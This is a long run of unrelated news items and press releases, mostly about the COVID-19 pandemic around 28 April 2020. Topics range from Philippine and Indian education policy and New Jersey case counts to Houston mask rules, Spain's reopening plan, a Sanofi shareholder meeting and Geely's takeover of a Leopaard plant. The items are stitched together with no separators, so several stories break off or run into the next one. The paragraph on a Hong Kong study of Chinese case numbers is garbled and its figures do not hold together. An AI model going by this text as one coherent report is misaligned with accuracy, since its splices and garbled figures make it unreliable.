Knoxville, Tennessee Dr. David Johnson is a partner and surgeon of Oral and Maxillofacial Surgical Specialists P.C., a USOSM partner practice with two locations near Knoxville, Tennessee. Dr. Johnson is a fellow of ABOMS, the American College of Dentists and the International College of Dentists, vice president of AAOMS and a clinical associate professor at the University of Tennessee Graduate School of Medicine. During his prestigious career, he has served in a wide variety of leadership roles for professional organizations, including past president of the Southeastern Society of Oral and Maxillofacial Surgeons and the Tennessee Society of Oral and Maxillofacial Surgeons. For 15 years, Dr. Johnson has served as the national oral and maxillofacial surgery spokesperson for the American Dental Association. He is the recipient of the 2003 AAOMS Presidential Achievement Award, the 2004 Tennessee Dental Association Fellowship Award, and the 2004 Second District Dental Society Dentist of the Year. P. Angie Rake, DDS Minneapolis, Minnesota Dr. Angie Rake is a surgeon with Dakota Valley Oral and Maxillofacial Surgery, a USOSM partner practice with five locations in the Minneapolis, Minnesota, area. Dr. Rake is an adjunct associate professor at the University of Minnesota School of Dentistry, a diplomat with ABOMS and a member of AAOMS, the American Dental Association and the Minnesota Dental Association. She also is a member and past president of the Minnesota Society of Oral and Maxillofacial Surgeons, and Dr. Rake is the sitting president of the Minnesota Board of Dentistry, an organization she was appointed to by Gov. Mark Dayton in 2018. Dr. Rake is a devoted advocate for responsible opioid prescribing and has participated in numerous lectures on the topic. She also has been featured in a wide variety of articles and television segments, including serving as part of an expert doctor panel at NBC Universal in New York. Headquartered in Irving, Texas, USOSM has partner practices spanning six states: Texas, Colorado, Georgia, Tennessee, Minnesota and Alabama. A shared services organization, USOSM collaborates with premier oral and maxillofacial surgeons to offer a partnership solution for continued and accelerated practice success. USOSM provides operational, marketing and administrative support services, reinvests resources, and applies best practices to improve clinical and financial performance and produce steadier, more profitable growth for all. Metro Manila (CNN Philippines, April 28) Senate President Vicente Sotto III has filed a bill on Tuesday proposing to move the opening of the school calendar to September due to the COVID-19 pandemic. Senate Bill No. 1438 seeks to amend Section 3 of Republic Act No. 7977 which states that the school year shall start on the first Monday of June but not later than the last day of August. Sotto said President Rodrigo Duterte has accepted the recommendation of the COVID-19 inter-agency task force to move the opening of classes for School Year 2020-2021 to September, based on a study which showed that individuals, from zero to 20 years of age, can transmit the coronavirus. This bill, allowing the start of school year to be moved from August to September, or in such other month, as may be determined by the President, would give the Department of Education more time and opportunity to prepare and adopt measures for the new normal of the education system while helping the government fight the COVID-19 outbreak, Sotto explained. The Senate President hoped his proposed measure will be discussed and passed into law immediately once the upper chamber resumes sessions on Monday, May 4. We will be violating the law if we do not resume in June, said Sotto. Education Secretary Leonor Briones earlier considered moving the opening of classes to August. At the House of Representatives, several lawmakers have filed the New Normal bill which contains a provision that suspends classes and other school activities until further notice due to the health crisis and instructing schools to come up with online learning platforms. The Congress in Tamil Nadu on Tuesday mocked at the Union and state governments over the procurement of rapid test kits for coronavirus, seeking to know how they would protect the 130 crore plus Indians when they could not even buy "quality equipment" after scrutiny. Targeting the governments here and at the Centre over rapid kits, the usage of which has now been halted, Tamil Nadu Congress Committee president K S Alagiri claimed that 'profiteering' in the deal was scuttled only due to the court intervention. In an order last week, the Delhi High Court fixed the price of the antibody test kits at Rs 400 each as against Rs 600 approved by the Indian Council of Medical Research. The ruling came on a plea by two companies, Rare Metabolics Life Sciences Pvt Ltd and Aark Pharmaceuticals, which had entered into an agreement with Matrix Labs, for distribution of the kits in India. Matrix Lab is the the importer of the kits. "How the Central and State governments are going to protect the 136 crore people when they could not even buy quality kits after due scrutiny?" Alagiri asked in a statement. A day after his party's ally DMK questioned the rationale behind the 'sky high' rate of Rs 600 per unit by the state government, the Congress leader said the Centre has no answers to the questions being raised over the matter. The Indian Council of Medical Research on Monday asked the states to stop using COVID-19 rapid testing kits procured from China due to their poor quality even as the government said not a single rupee will be lost in cancelling the orders as payments were not made to the Chinese suppliers. India procured around five lakh rapid antibody test kits from the two Chinese firms, Guongzhou Wondfo Biotech and Livzon Diagnostics, and they were distributed to several states reporting rising cases of the coronavirus infection. The Tamil Nadu government too has announced returning 24,000 rapid test kits imported from China. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Annual General Meeting of April 28, 2020 Approval of the financial statements for the fiscal year 2019 Dividend of 3.15 per share payable as of May 6, 2020 Board composition: renewals, ratification of a co-opting Director and appointment of two new Independent Directors Paris, France - April 28, 2020 - The Ordinary General Shareholders' Meeting of Sanofi was held on April 28, 2020, without the physical presence of its shareholders, in accordance with the derogating measures adapting the rules governing the deliberation of general meetings taken by the French authorities as part of the fight against COVID-19, at the Company's registered office in Paris, under the chairmanship of Serge Weinberg. All resolutions submitted to the vote were adopted by the shareholders, except for the nineteenth resolution relating to the compensation awarded for the 2019 financial year to Olivier Brandicourt, former Chief Executive Officer in office until August 31, 2019. The Board of Directors met after the meeting. The final financial terms of Olivier Brandicourt's departure will be communicated in a separate press release. The General Meeting approved the individual Company and consolidated financial statements for the fiscal year 2019. The General Meeting decided on the distribution of a cash dividend to the amount of 3.15 per share with payment as of May 6, 2020. The General Meeting also renewed Laurent Attal, Carole Piwnica, Diane Souza and Thomas Sudhof as Directors, ratified the co-opting of Paul Hudson and approved the appointment of Rachel Duan and Lise Kingo as Independent Directors in replacement of Suet-Fern Lee and Claudie Haignere. Following the General Meeting, the Board of Directors is still comprised of 16 members, of whom six are women and two are Directors representing employees. The Board of Directors remains for a large majority comprised of Independent Directors. The voting results and the videocast of the Annual General Meeting are available on: www.sanofi.com/AG2020 (http://www.sanofi.com/AG2020) About Sanofi Sanofi is dedicated to supporting people through their health challenges. We are a global biopharmaceutical company focused on human health. We prevent illness with vaccines, provide innovative treatments to fight pain and ease suffering. We stand by the few who suffer from rare diseases and the millions with long-term chronic conditions. With more than 100,000 people in 100 countries, Sanofi is transforming scientific innovation into healthcare solutions around the globe. Sanofi, Empowering Life Media Relations Contact Quentin Vivant Tel.: +33 (0)1 53 77 46 46 mr@sanofi.com (mailto:mr@sanofi.com) Investor Relations Contact Felix Lauscher Tel.: +33 (0)1 53 77 45 45 ir@sanofi.com (mailto:ir@sanofi.com) About Sanofi Sanofi is dedicated to supporting people through their health challenges. We are a global biopharmaceutical company focused on human health. We prevent illness with vaccines, provide innovative treatments to fight pain and ease suffering. We stand by the few who suffer from rare Attachment Elder law attorney Anthony J. Enea, member at Enea, Scanlan & Sirignano, LLP Thanks to an executive order by Governor Cuomo, which temporarily allows remote witnessing and notarizing in New York State, obtaining legal services while home is possible. All estate planning documents can now be executed remotely via audio-video conferencing platforms. Westchester elder law attorney Anthony J. Enea of Enea, Scanlan & Sirignano, LLP in White Plains and Somers, N.Y. recently addressed the New York State Bar Associations Senior Lawyers Section regarding estate planning essentials during COVID-19. With many recent changes in the law concerning Medicaid as well as the realities of the pandemic, Mr. Enea urges adults of all ages to take a proactive role in planning for their future. The New York State Bar Association program, Pandemics and Planning: The Documents Every Attorney Should Have, highlighted best practices and important documents to protect both attorneys and their clients, employees, and partners through the current crisis. There are six basic estate planning documents and advanced directives that everyone should have in order to deal with a potential health crisis, such as the COVID-19 pandemic, said Anthony Enea, who has spent the past 35 years educating and protecting the rights of seniors, the disabled and their families. These include a durable general power of attorney, health care proxy, living will, HIPAA authorization form, Last Will and Testament, or a Revocable Living Trust. From an elder law and estate planning perspective, many were sadly unprepared for the pandemic. According to Caring.coms 2020 Estate Planning and Wills Survey, the number of adult Americans that have a last will or other type of estate planning document in place has decreased by nearly 25 percent since 2017. Thanks to an executive order by Governor Cuomo, which temporarily allows remote witnessing and notarizing in New York State, obtaining legal services while home is possible, explained Enea. All estate planning documents can now be executed remotely via audio-video conferencing platforms and our attorneys are working to ensure it remains a smooth, seamless process. For those considering updating their estate plan or putting one in place, Enea, Scanlan & Sirignano, LLP recently launched a weekly Facebook Live lunch and learn series featuring a new topic each Wednesday at 2:00pm ET. To watch a live broadcast, visit the firms Facebook page (http://www.facebook.com/EneaScanlanSirignanoLLP) and click the Videos tab. A Facebook account is not required to watch. We can't know what the future holds, but we can plan for it. Being prepared is key, and as we all find ourselves with canceled plans and empty calendars during this difficult time, it can be hard to stay positive. The silver lining is the gift of time: time to spend at home with family, video conferencing loved ones, and to do the important things we may have previously put off. Now is a great time to get our legal matters organized, said Enea. A strong leader in Westchesters legal community, Anthony J. Enea is chair of the New York State Bar Associations Senior Lawyers Section and president of the Westchester County Bar Foundation. He was named Westchester Countys Leading Elder Care Attorney at the Above the Bar Awards and Best Lawyers 2019 Trusts & Estates Lawyer of the Year in White Plains. A past chair of the New York State Bar Associations Elder Law Section, Eneas practice areas include elder law; Medicaid asset protection trusts; Medicaid applications (home care and nursing home); special needs planning; guardianships (Article 81 and 17-A); and wills, trusts and estates. Enea, Scanlan & Sirignano, LLP is located at 245 Main Street in White Plains, N.Y. with additional offices in Somers, N.Y. Elder law attorney Anthony J. Enea can be reached at 914-948-1500 or a.enea@esslawfirm.com. For the latest news, visit Enea, Scanlan & Sirignano online at http://www.esslawfirm.com. About Enea, Scanlan & Sirignano, LLP Enea, Scanlan & Sirignano, LLP is an AV preeminent rated elder law firm with offices in White Plains and Somers, N.Y. The practice concentrates on Elder Law; Medicaid Planning; Nursing Home and Home Care Applications; Wills, Trusts and Estates; Guardianships; Estate Litigation; Supplemental Needs Trusts; and Special Needs Planning. Enea, Scanlan & Sirignano, LLP serves Westchester, Rockland, Putnam, the Bronx, Manhattan, Long Island and Queens and is committed to providing the highest quality legal services to seniors, the disabled and their families. Visit the firm online at http://www.esslawfirm.com. Former Union minister and Congress leader Pawan Kumar Bansal on Tuesday in a statement demanded that Chandigarh should no longer be treated as a single district for Covid-19 restrictions. Instead, he said, the existing subdivisions under SDMs should be considered for the purpose. Areas reporting any case should be placed in the red zone and dealt with as per the Centres guidelines, including sealing like that of Kachi Colony in Dhanas, Bapu Dham Colony, Sector 30, etc. On the other hand, areas with no case should be opened up, he said. Bansal said the fact that 20% of those who tested positive in Chandigarh were healthcare workers highlighted the issue of the lack of quality PPEs available with hospitals. He demanded that the healthcare workers be provided quality certified PPEs first, lauded and honoured later. He also hit out at the UT administration saying the present system of universal screening in the city was casual and needed to be done more effectively with all-out testing in affected areas. In the case of factories, Bansal said those with upto seven workers should be permitted to run with three workers; and others with not more than half of the total strength of staff. All commercial establishments should be exempted from payment of water and the minimum electricity charges for the period of lockdown and a month thereafter, he said, adding that the liability to pay excise license fee by restaurants et cetera should begin from the date of reopening after the lockdown. Bansal said an important aspect being overlooked while distributing ration ration to the needy was that those who are not registered under the National Food Security Act did not even have the right to stand in the queues. They should be catered to under the Pradhan Mantri Gareeb Kalyan Yojana or on an ad hoc basis. For a judge of 28 years to do something he hasnt done before with a court case is about as rare as these unusual times in which we live. But Thursday morning, Pennsylvania Superior Court President Judge Jack Panella, along with colleagues Maria McLaughin and Correale F. Stevens, will hear oral arguments in appeals while all parties involved will be miles apart from each other. Panella will work out of his office in Bethlehem, with Stephens, a senior judge, jumping in from the Hazleton area and McLaughlin appearing from Philadelphia. For the past several weeks, while the 21-member court has been busy, its officially been closed to the outside world by Gov. Tom Wolfs order and the state Supreme Courts guidelines during the coronavirus pandemic. While many appeals in criminal, civil and family court manners can be handled by submitted briefs outlining the arguments, some need the added benefit of spoken words, Panella, a former Northampton County judge who lives in Palmer Township, said Monday in a phone interview with lehighvalleylive.com. The same standards will be in use for the state Commonwealth and Supreme courts, the other two appellate courts. The Commonwealth Court kicks off its online docket with a 10:30 a.m. Tuesday hearing involving MFW Wine Co. LLC, A6 Wine Company, and GECC2 LLC d/b/a Bloomsday Cafe v Pa Liquor Control Board (25 MD 2020), a news release said. It is not an appeal, but a hearing that is allowed in Commonwealth Court cases involving actions taken against officials or agencies of the state, the news release said. It will be broadcast here. Panella said Tuesdays single case seems to be a good test for all three courts. It makes sense, he said. The Superior Court has four appeals on Thursday -- three in the morning and one in the afternoon -- as it debuts online, Panella said. Initially, the Superior Court will just use the audio portion of a Webex chat the state court system has a contract with the news media and the general public being offered a separate phone number and password to listen in, Panella said. We didnt want to hold these proceedings in private, he said. Once the Superior Court judges are comfortable on the new system, they will turn on the video, which might be the most controversial part of the temporary system that Panella said has met with the approval of the state bar association. With Webex having a YouTube video function -- as will be used in Tuesdays Commonwealth Court hearing -- content such as images and video thats normally not available from the courtroom because of a longstanding state Supreme Court order, will suddenly be out there and could end up as part of a political ad, for example, Panella said. An attorney or judge making a comment could be taken out of context, Panella said. We had to make a concession. So, the normal 15 minutes for one side then 15 minutes for the other the appellant is seldom present, just their attorney will be interrupted every three minutes for the judges to ask questions, Panella said. Normally, a judge would just jump in with a question at any point in a courtroom, but that could be chaotic on a video hookup, he said. Judges are advised to use a wired internet hookup, but there will be attorneys in parts of the state using a weak wireless arrangement, Panella said. If the signal drops off, the attorney can always call it in, Panella said. And, unlike in trial court, theres not an issue with the appellant not seeing the accusers, he added. Judges actually are more comfortable with video than they are with audio alone, because they can see the attorneys, Panella said. Once the moving pictures go online, viewers might be surprised to learn that Superior Court judges, if they choose, can wear business attire rather than robes, Panella said. Webex is very similar to the Zoom platform that has become very popular as towns and cities across the country are locked down due to the threat of COVID-19, the disease caused by the coronavirus. The Superior Court has been doing meetings for some time using video chat software, so the judges should be comfortable with the platform, Panella said. They practiced the court concept a few years ago but nothing came of it, Panella said. Returning to normal sort of the judges will virtually get together right after court for a preliminary vote and the senior judge will assign one of the three to write the opinion, Panella said. In addition to the courtrooms in Philadelphia and Harrisburg being closed by edict, the off-site setup provides an added benefit to the judges, who often sit close together. It assures social distancing between judges as well, he said. Its not like the court hasnt been busy while not hearing appeals, Panella said. Submissions at about 100 per week are on par with a year ago, although there has been a slight downtick recently, he said. An appeal of a county court ruling must be filed within 30 days of the county judge giving notice, and then the Superior Court usually takes three to four months to get to the hearing and then another three or four months to issue an opinion, Panella said. And the court also oversees all wiretaps in the state, as well, Panella said. In some functions, it already has enough work to take the court through the end of the year, Panella said. But come Thursday, the courts world will change at least until the courtrooms are reopened. Ive been on a court for 28 years, this is the first time Ive ever done it, Panella said. Thursdays two live audio sessions are accessible on your phone: Panel A-11 10:30 a.m. (three cases) Dial this number: 1-650-479-3207 Put in this access code: 613 512 525 Panel A-08 1:00 p.m. (one case with different judges) Dial this number: 1-650-479-3207 Access code: 618 002 650 Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription. Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Around 60 per cent or more of students are expected back in school tomorrow, Education Minister Sue Ellery has confirmed. While not all parents responded to a survey from principals, about 60 per cent of respondents indicated they were intending to send children back and the actual number returning is expected to be a bit higher. Education Minister Sue Ellery said education was of critical importance. Credit:Kaye Waterhouse Carine Senior High School expects about 80 per cent of its 2000-odd students back, with parents encouraged to stay out of the grounds, use carparks all around the school rather than a single access point, and to leave immediately once pickup and dropoff were complete. Speaking to press at the school campus, Ms Ellery said the Education Department had recruited additional cleaners and increased the hours of existing cleaning staff to get intensive cleaning done across all schools. They would remain in place to continue cleaning throughout the school day. Students will not be expected to maintain 1.5-metre social distancing from each other; only adults will be observing the rule. About 1300 teaching and other staff were unable to return to school, being unwell or at-risk, Ms Ellery said. They were either on personal leave, COVID-19 leave or working from home, according to individual circumstances. They had been replaced, either with relief teachers from the existing pool, part-timers with increased hours, or new Department employees, following a successful recruitment drive. Year 11 and 12 students were strongly encouraged to attend school but ultimately the choice is up to parents. Ms Ellery said schools, depending on individual circumstances, were still providing hard copy learning packs, online learning or a combination, with additional staff recruited to facilitate this. The situation will be reviewed in three weeks, around May 18. The 40km/h zones will also be back in place. I know this has been a difficult time, Ms Ellery said. Staff have been concerned and worried and I want to thank them for the work they have done. This has been an enormous effort. Cases of the coronavirus in New Jersey increased Monday to at least 111,188 people reported as infected and 6,044 fatalities statewide while officials said there were signs of hope that outbreak has leveled off. Gov. Phil Murphy said the numbers include 2,146 new positive tests and another 106 deaths attributed to COVID-19, though were may be a delay in reporting cases from the weekend. The latest information from the state showed New Jerseys 71 hospitals reported the number of patients with confirmed or suspected coronavirus cases declined for a sixth consecutive day to 6,407 patients as of late Sunday. Meanwhile, Murphy announced a six-point strategy that must be met for the state to begin gradually lifting the near-lockdown restrictions put in place more than five weeks ago to help slow the contagious virus. N.J. Gov. Phil Murphy provided this road map for reopening coronavirus restrictions on Monday. CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage Heres a roundup of coronavirus news: Could N.J. reopen schools as coronavirus lockdowns are lifted? Yeah, there is a chance,' Murphy says: The governor said Monday theres still a chance New Jersey students could return to classrooms before the end of this school year, though he has repeatedly cautioned that the state cannot rush to reopen" schools amid the coronavirus pandemic that has claimed the lives of at least 5,938 residents. Yeah, there is a chance, Murphy said Monday morning during an appearance on CNBC. Weve not made that decision, the governor added. Weve canceled in-person schooling until at least May 15. And well give guidance before May 15 as to where we see the rest, the school year. Gov. Murphy unveils 6-point coronavirus reopening strategy for N.J. with no timetable to lift lockdown restrictions: Gov. Phil Murphy revealed a six-point coronavirus Road Back recovery plan that calls for widespread testing and contact tracing after at least two weeks of declines in case and hospitalizations before New Jersey can begin to pull back on near-lockdown restrictions. N.J. coronavirus reopening strategy: What about schools, parks, restaurants, retail? The governors reopening strategy offered no timeline and Murphy said the stay-at-home order, nonessential business closures and strict social distancing would remain in place until further notice. Murphy said that he expected the restrictions to linger for weeks, not months. N.J. coronavirus death toll climbs to 6,044 with 111,188 total cases: Gov. Murphy said the latest numbers include 2,146 new positive tests and another 106 deaths attributed to COVID-19. Expect N.J. coronavirus lockdown for weeks. But theres a shot at Memorial Day, Murphy says: Gov. Phil Murphy offered some faint hope that some type of Memorial Day weekend could be salvaged in four weeks. I think theres a shot," Murphy said during his daily coronavirus press briefing in Trenton. Im not sure I have a crisp answer for you on Memorial Day. Memorial Day is four weeks from today. I know what it normally is and I love it, and I hope it can be some form of that. Where is the coronavirus in N.J.? See the latest map, update on county-by-county cases Coronavirus cases in the United States: There were 985,374 cases reported in the country as of Monday afternoon, according to information from the the Center for Systems Science and Engineering at Johns Hopkins University. NJ Advance Media staff writers Matt Arco, Brent Johnson, Alex Napoliello and Jeff Goldman contributed to this report. Our journalism needs your support. Please subscribe today to NJ.com. Chandigarh, April 28 : With the continuous spike in coronavirus cases relating to people daily travelling to Delhi for work, Haryana Home Minister Anil Vij on Tuesday said after Sonepat, the state is considering sealing borders in Gurugram and Faridabad districts with the national capital. "The state is considering sealing all borders with Delhi, including those in Gurugram and Faridabad," Vij, who also holds the health portfolio, told the media. He said that 18 cases have been reported in the state linked to daily commuters of the state working in Delhi. Vij, on Sunday, asked Delhi Chief Minister Arvind Kejriwal to make arrangements to check the daily commuters between Haryana and the national capital and limit the issuance of lockdown passes. He also blamed the Delhi government for allowing entry of Tablighi Jamaat members, who were allegedly responsible for spreading the virus in the state. Union HRD Minister Ramesh Pokhriyal Nishank has called a meeting with state education ministers to discuss issues related to COVID-19, schools fees and mid-day meal programme, officials said on Monday, The meeting will be held through video conferencing. The HRD minister will interact with state education ministers through video call tomorrow to discuss issues like handling of COVID-19, mid-day meal programme and Samagra Shiksha programme, a senior Human Resource Development (HRD) Ministry official said. Earlier on Monday, Pokhriyal interacted with parents online and addressed various issues, including unavailability of books and uncertainty over board exams, arising due to the lockdown imposed to curb the coronavirus spread. Concerns raised by parents, issues related to monitoring of mid-day meal schemes and how to ensure they reach the intended beneficiaries, and addressing genuine concerns of parents and schools are expected to be discussed threadbare, said another official. The HRD minister may soon hold another interaction with students soon. In March last week, the HRD Ministry had asked states and union territories to ensure continued supply of mid-day meals to students despite the closure of schools around the country to check the spread of coronavirus. The suggestions offered included delivering packaged meals or the equivalent amount of food grains to students at home, or depositing money in the bank accounts of their parents. The Samagra Shiksha programme is an integrated scheme for school education. The authorities have charged a man with arson and a related hate crime after a fire caused significant damage to an Islamic center in Cape Girardeau, Mo., on the first full day of Ramadan. The man, Nicholas J. Proffitt, 42, was arrested on Monday and charged with burglary, arson and property damage motivated by discrimination, all in the first degree. He is being held without bond at the Cape Girardeau Police Department, the police said. We thought that Covid-19 was our biggest problem, Dr. Ahmad Sheikh, 44, an endocrinologist who has worshiped at the center, said on Tuesday. This happened a few minutes before our fast started. The Police Department said in a Facebook post that Mr. Proffitt was motivated to set the fire on Friday by the religion of the people who worship at the Islamic Center. No one was injured in the fire, but the damage was enough to cause the city to condemn the building, the police said. Coronavirus crisis: Health workers battle against death while dealing with COVID-19 patients India oi-Ajay Joseph Raj P Aurangabad, Apr 28: A doctor working at a hospital for treating coronavirus patients in Maharashtra revealed that the medical staff faces tough tasks and challenges in collecting swab samples of the suspected patients. It is reported that the process of swab sample collection of a person does not take more than 30 to 40 seconds, but it is a "high risk job", Dr Pushkar Dahiwal, who collects 80 to 100 swab samples in a day at the government hospital in Aurangabad, told reporters. Coronavirus crisis: Why COVID-19 death rates is higher in some countries? "We work for three days and then remain self- quarantined for 14 days," he informed. During the six-hour duty, doctors have to keep wearing the personal protective equipment (PPE) and amidst the fast paced work, they do not even get a chance to drink water, he said. "We need to finish the work in a short time to avoid contact with patients and also with those who come to give their swab samples," the doctor said. A 10 to 12 cm long stick is used to collect sample from a person's throat, while the stick used for collecting sample from nose is comparatively longer and thinner," he said. Coronavirus crisis: Delhi govt to convert operation theatres into ICUs to treat COVID-19 patients "Before the person tries to cough or sneeze, we need to finish sample collection. Being a dentist, I have the practice of handling the patient's mouth area," he added. The nurse and other accompanying staff also need to stay alert as the swab samples are to be sealed immediately and kept in a proper storage facility, he said. "If the swab sample falls, it would be a problem. All these things have to be completed in a very short span of time. So, there is no scope for mistake," the doctor further said. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, April 28, 2020, 10:31 [IST] Major grocers and big-box retailers on Monday said they will encourage shoppers to wear face masks inside its stores, but will not require them. Kroger, H-E-B, Target and Walmart are asking customers to follow public health recommendations to slow the spread of the novel coronavirus, including maintaining six feet of separation between shoppers and wearing face coverings or masks. Retailers, however, said they will not enforce a Harris County order that took effect Monday, mandating that everyone wear face masks in public. In other words, customers who do not wear a mask while shopping will not be turned away or kicked out of the store. The Harris County order holds each individual responsible for upholding it, Walmart spokeswoman Anne Hatfield said. We strongly encourage customers to be especially mindful of one another during this unprecedented time and adhere to the order that we all use face coverings while in public spaces. The Harris County order mandates everyone wear face masks or coverings in public, but makes certain exceptions for children under the age of 10, residents who have trouble breathing and anyone who is engaged in physical activity. The local mask order, although similar to others in Dallas and San Antonio, was rebuked by some residents who said they will refuse to wear a mask and unions representing Houston Police and Harris County Sheriff officers, who said they will not enforce the mandate. Gov. Greg Abbott on Monday said he is recommending everyone wear masks in public, but said he will not mandate masks and barred local governments from fining people for not wearing masks. Harris Countys mask order would have imposed a maximum $1,000 fine for violations, but Judge Linda Hidalgo in a statement on Monday said the fine was there as a signal of how vital mask-wearing is. Grocers and big-box retailers are providing face masks to employees and requiring them to wear face coverings while at work. But retailers can do little to enforce Harris Countys mask order after Abbotts announcement Monday. Target said it has added signs and placed employees outside its stores in Harris County to remind customers to wear masks while shopping. But customers who dont wear masks wouldnt be turned away, but they would be reminded of the current policies, Target spokesman Konnor Schmaltz said. Kroger said it is encouraging customers to wear a mask when they visit our stores, or purchase groceries online for curbside pickup or home delivery. We will have signs at our entryways as a reminder of the order for customers, however, we will not turn away any customer or ask them to leave our store, Kroger spokeswoman Clara Campbell said. H-E-B President Scott McClelland said the grocers goals are to keep its customers and employees safe and get the economy reopened as fast as possible. If having Houstonians wear face masks can help keep people safe and open businesses faster, its in everyones best interest, he said. Lets share in the collective responsibility to get us through this as fast as possible, McClelland said. We did this so effectively during Hurricane Harvey that I know we have it in us to do it again. paul.takahashi@chron.com twitter.com/paultakahashi Hyderabad, April 28 : A woman and her new born baby have died in Hyderabad, allegedly after she was made to run around hospitals on the suspicion of being infected with Covid-19. The 20-year-old woman from Gadwal district in Telangana died on Monday night while her one-day old baby boy had succumbed to respiratory problem a day earlier. Taking a serious note of the incident, the State Human Rights Commission directed the state Health and Family Welfare Department to submit a report on the tragic occurrence. The deceased's husband, Mahender, told reporters that negligence and delay on the part of the doctors at various hospitals to treat her resulted in her death. He said when the woman started developing labour pains on April 24, he rushed her to the Gadwal town hospital from their village but doctors advised them to go to Kurnool town in neighbouing Andhra Pradesh as she was suffering from anaemia and blood pressure. Though Kurnool is just 50 km from Gadwal, he could not take her there due to the strict enforcement of the lockdown as Kurnool has reported the highest number of Covid-19 cases in Andhra Pradesh Mahender took his wife to the government hospital in Mahabubnagar, but the doctors there advised them to go to Hyderabad. When they approached the government-run maternity hospital at Koti in Hyderabad, the doctors insisted that she undergo Covid-19 test as she is coming from Gadwal, which was declared a red zone due to a large number of infections there. The woman's report returned negative the next day. She was shifted to the government maternity hospital at Petla Burj, where she gave birth to a baby boy on April 26. The newborn was shifted to the Niloufer Hospital for Children due to respiratory problems. He died the same day. As the woman's condition turned critical, she was shifted to the Osmania Hospital, where she died on Monday night. According to research by academics at Hong Kong University's school of public health, it published 55,000 coronavirus cases as of 20 February. The outbreak accelerated rapidly, reaching more than 232,000 people stating the state has been four times the official figures, according to a study by Hong Kong researchers. China has now reported more than 83,000 cases and believes the true number would have been far greater if the definition of am COVID-19 case had been applied from the outset. "Globally, the death toll from the coronavirus has exceeded 184,000, with the number of cases worldwide standing at more than 2.6millon. The new estimates come amid a mounting clamor for an international inquiry into the coronavirus outbreak's origins, led by the United States and Australia, although the estimates appear far from constituting the proof of a coverup sought by some on the political right. The US and Australia have called for an international investigation into the handling of the outbreak." The US believes that China failed to report the outbreak of the virus in a timely manner. The Trump administration's public accusations against China of a lack of transparency over the origins of the virus and the reporting of its figures have provoked anger in Beijing. "The researchers point in particular to the very narrow scope of the first diagnostic guidelines, which required six specific criteria to be met for a patient to be a confirmed case of Covid-19. The criteria included a patient's epidemiological link to Wuhan or a wet market in Wuhan, and a full genome sequencing test of a patient's respiratory specimen showing a close homology with Covid-19." Study shows that it was in fact 50 % higher than the first report. China has been accused of a lack of transparency over the reporting of its figures. "On Wednesday China's ambassador to the US, Cui Tiankai, stated there needed to be "a serious rethinking of the foundations" of US-China relations. He also criticized politicians in the US for ignoring scientists and making "groundless" accusations." Spain announced a four-phase plan on Tuesday to lift one of the toughest coronavirus lockdowns in Europe and return to normality by the end of June as the daily death toll fell to 301, less than a third of a record high of 950 in early April. Prime Minister Pedro Sanchez said the lifting of the measures that have halted public life since March 14 and nearly paralysed the economy, will begin on May 4 and vary from province to province. Each phase is designed to last two weeks. The progression to higher phases with fewer restrictions will depend on factors such as how the rate of infection evolves, the number of intensive care beds available locally and how regions comply with distancing rules, he said, without providing concrete thresholds for such evaluation. While restaurants can start opening terraces at no more than 30% of their capacity during the first phase, remote working will be recommended where possible until reaching the last phase of the plan at some point in June, when beaches would also be able to reopen with the support of local authorities. "We are starting to glimpse an outcome that will be a reward for the huge collective effort made over the past weeks," Sanchez said, warning that the "virus is still lurking." "It's up to the people now, we are embarking on a journey without a precise route map ... What we've accomplished is enormous but it could all be lost if we don't look after each other," he said. Sanchez explained the government had chosen not to set precise deadlines for the easing of the lockdown, as had countries such as Italy, to avoid missing them in what is a fluid situation. Total fatalities since the start of the outbreak rose to 23,822 on Tuesday, with the daily increase coming down from Monday's 331, the health ministry said. The number of diagnosed cases rose to 210,773 - the world's second-highest after the United States. UNEMPLOYMENT INCREASES As data published on Tuesday brought further evidence of a worsening in unemployment, companies said they were looking to the government to allow a gradual restart of the economy. "The important thing is to resume our activities in order to really avoid this drama that we are living," Antonio Garamendi, head of the CEOE business association, told RNE radio. Sanchez also warned there would be a recession of "extraordinary scale" this year that will demand an extraordinary response from the European Union. The first-quarter unemployment rate rose to 14.4% from 13.8% in the preceding three months, the National Statistics Institute said. That data only partially reflected the impact of the lockdown that began two weeks before the end of the quarter. According to forecasts by the Bank of Spain, the coronavirus crisis could push the unemployment rate up to 21.7% this year, with the economy contracting as much as 12.4%. "The authorities will set the pace," Jose Antonio Alvarez, CEO of Santander, told a news conference after the euro zone's second largest bank by market value reported an 82% slide in profit on provisions booked for the pandemic. "What we are looking at is how we can adapt our spaces and our ways of working to an orderly return. As far as the tests are concerned, the health authorities are the ones who have the last word on how to carry out this process," he said, adding that the banking group had a global framework for testing staff. Search Keywords: Short link: Shanghai (Gasgoo)- Zhejiang Geely Holding Group (Geely Holding) is to serve as the trustee of Hunan Leopaard Motors Co.,Ltd. (Leopaard)'s Changsha plant, which will focus on producing and selling new energy vehicles (NEVs), the group announced on April 27 via its WeChat account. Leveraging the advantages in products, technologies, management and market channels, Geely will help Leopaard enhance its overall competitiveness by introducing to the latter the NEV products and related technologies, and boosting the resource integration, according to a strategic cooperation agreement Geely Holding signed with Hunan Provincial Government and Changsha Municipal Government. Moreover, the group stated it will continue to expand the collaboration with Hunan province in NEV area, as part of efforts to promote the transition and upgrade of local automobile industrial structure. Leopaard is a subsidiary of Changfeng Group Co., Ltd., a Changsha-headquartered complete vehicle manufacturer founded in 1950. The company's main products are Leopaard brand SUVs and pickup trucks. It has four vehicle manufacturing bases located at Yongzhou, Chuzhou, Changsha and Jingmen. In fact, the news about Geely's attempt to take over the Changsha plant was exposed in early January for the first time. However, Geely denied the rumor afterwards. At the moment, the report also disclosed that the Jingmen and Chuzhou plants would be transferred to local government and a new operator. Saddled with the severer market competition, the pressure from the overall market downturn, the transformation to the China emission standard, and the coronavirus-caused hardship, Leopaard has been mired in the plight regarding both operation and sales. The newly-agreed assistance from Geely is expected to re-turbocharge its development. According to Leopaard's official website, the automaker aims to produce or sell over 400,000 vehicles in 2020 with its annual revenue topping RMB40 billion and total profit of over RMB2 billion (photo source: Geely Holding's WeChat account). This drama concerns two ordinances- one related to the political parties and the other on the Constitution Council. by Dr. S.Chandrasekharan In the midst of the global pandemic- the Wuhan Virus and Nepals 